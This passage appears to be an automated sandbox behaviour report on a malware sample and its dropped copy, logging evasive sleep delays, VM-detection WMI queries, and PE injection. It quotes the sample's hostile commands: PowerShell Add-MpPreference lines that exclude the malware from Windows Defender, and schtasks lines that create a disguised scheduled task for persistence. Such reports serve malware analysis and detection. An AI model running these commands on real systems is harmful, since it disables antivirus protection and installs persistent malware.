Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7428	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe TID: 7628	Thread sleep count: 2784 > 30	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe TID: 7728	Thread sleep time: -11990383647911201s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe TID: 7728	Thread sleep time: -100000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe TID: 7728	Thread sleep time: -99891s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe TID: 7728	Thread sleep time: -99776s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe TID: 7728	Thread sleep time: -99671s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe TID: 7728	Thread sleep time: -99548s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe TID: 7728	Thread sleep time: -99437s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe TID: 7628	Thread sleep count: 1041 > 30	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe TID: 7728	Thread sleep time: -99296s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe TID: 7728	Thread sleep time: -99172s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe TID: 7728	Thread sleep time: -99059s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe TID: 7728	Thread sleep time: -98938s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe TID: 7728	Thread sleep time: -98813s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe TID: 7728	Thread sleep time: -98704s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe TID: 7728	Thread sleep time: -98594s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe TID: 7728	Thread sleep time: -98454s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe TID: 7728	Thread sleep time: -98329s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe TID: 7728	Thread sleep time: -98219s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe TID: 7728	Thread sleep time: -98107s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe TID: 7728	Thread sleep time: -97999s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe TID: 7728	Thread sleep time: -97774s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe TID: 7728	Thread sleep time: -97469s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe TID: 7728	Thread sleep time: -97279s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe TID: 7728	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe TID: 7740	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe TID: 8044	Thread sleep count: 1143 > 30
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe TID: 8044	Thread sleep count: 2365 > 30
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe TID: 8048	Thread sleep time: -8301034833169293s >= -30000s
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe TID: 8048	Thread sleep time: -100000s >= -30000s
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe TID: 8048	Thread sleep time: -99890s >= -30000s
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe TID: 8048	Thread sleep time: -99781s >= -30000s
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe TID: 8048	Thread sleep time: -99671s >= -30000s
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe TID: 8048	Thread sleep time: -99562s >= -30000s
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe TID: 8048	Thread sleep time: -99453s >= -30000s
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe TID: 8048	Thread sleep time: -99342s >= -30000s
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe TID: 8048	Thread sleep time: -99226s >= -30000s
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe TID: 8048	Thread sleep time: -99119s >= -30000s
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe TID: 8048	Thread sleep time: -98843s >= -30000s
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe TID: 8048	Thread sleep time: -98634s >= -30000s
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe TID: 8048	Thread sleep time: -98499s >= -30000s
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe TID: 8048	Thread sleep time: -98336s >= -30000s
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe TID: 8048	Thread sleep time: -98233s >= -30000s
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe TID: 8048	Thread sleep time: -98109s >= -30000s
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe TID: 8048	Thread sleep time: -97999s >= -30000s
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe TID: 8048	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard

Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Thread delayed: delay time: 100000	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Thread delayed: delay time: 99891	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Thread delayed: delay time: 99776	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Thread delayed: delay time: 99671	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Thread delayed: delay time: 99548	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Thread delayed: delay time: 99437	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Thread delayed: delay time: 99296	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Thread delayed: delay time: 99172	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Thread delayed: delay time: 99059	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Thread delayed: delay time: 98938	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Thread delayed: delay time: 98813	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Thread delayed: delay time: 98704	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Thread delayed: delay time: 98594	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Thread delayed: delay time: 98454	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Thread delayed: delay time: 98329	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Thread delayed: delay time: 98219	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Thread delayed: delay time: 98107	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Thread delayed: delay time: 97999	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Thread delayed: delay time: 97774	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Thread delayed: delay time: 97469	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Thread delayed: delay time: 97279	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Thread delayed: delay time: 100000
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Thread delayed: delay time: 99890
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Thread delayed: delay time: 99781
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Thread delayed: delay time: 99671
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Thread delayed: delay time: 99562
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Thread delayed: delay time: 99453
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Thread delayed: delay time: 99342
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Thread delayed: delay time: 99226
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Thread delayed: delay time: 99119
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Thread delayed: delay time: 98843
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Thread delayed: delay time: 98634
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Thread delayed: delay time: 98499
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Thread delayed: delay time: 98336
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Thread delayed: delay time: 98233
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Thread delayed: delay time: 98109
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Thread delayed: delay time: 97999
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Thread delayed: delay time: 922337203685477

Source: LisectAVT_2403002A_16.exe, 00000009.00000002.2899755875.00000000011EC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll\|
Source: NxmtwwVGOtEdjd.exe, 0000000F.00000002.2900321221.000000000100C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllPROCESSORS=2OneDrive=C:\Users\user\OneDriveOS=Windows_NTPath=C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Win6

Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Process token adjusted: Debug	Jump to behavior

Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Adds a directory exclusion to Windows Defender

Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\LisectAVT_2403002A_16.exe"
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe"
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\LisectAVT_2403002A_16.exe"	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe"	Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Memory written: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe base: 400000 value starts with: 4D5A			Jump to behavior
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Memory written: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe base: 400000 value starts with: 4D5A			Jump to behavior

Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\LisectAVT_2403002A_16.exe"	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe"	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\NxmtwwVGOtEdjd" /XML "C:\Users\user\AppData\Local\Temp\tmpB5CB.tmp"	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Process created: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe "C:\Users\user\Desktop\LisectAVT_2403002A_16.exe"	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Process created: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe "C:\Users\user\Desktop\LisectAVT_2403002A_16.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\NxmtwwVGOtEdjd" /XML "C:\Users\user\AppData\Local\Temp\tmpCD2C.tmp"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Process created: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe "C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Process created: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe "C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe"	Jump to behavior

Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\calibrib.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\cambriai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\cambriab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\cambriaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\Candara.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\Candaral.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\Candarai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\Candarali.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\Candarab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\Candaraz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\comic.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\comici.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\comicbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\comicz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\constan.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\constani.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\constanb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\constanz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\corbel.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\corbell.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\corbeli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\corbelli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\corbelb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\corbelz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\cour.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\couri.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\courbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\courbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\ebrima.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\FRADM.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\FRADMIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\FRAMDCN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\FRADMCN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\FRAHV.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\FRAHVIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\gadugi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\gadugib.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\georgia.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\georgiai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\georgiab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\georgiaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\impact.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\javatext.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\LeelawUI.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\LeelUIsl.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\LeelaUIb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\lucon.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\malgun.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\malgunsl.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\malgunbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\himalaya.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\ntailu.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\ntailub.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\phagspa.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\phagspab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\taile.ttf VolumeInformation	Jump to behavior
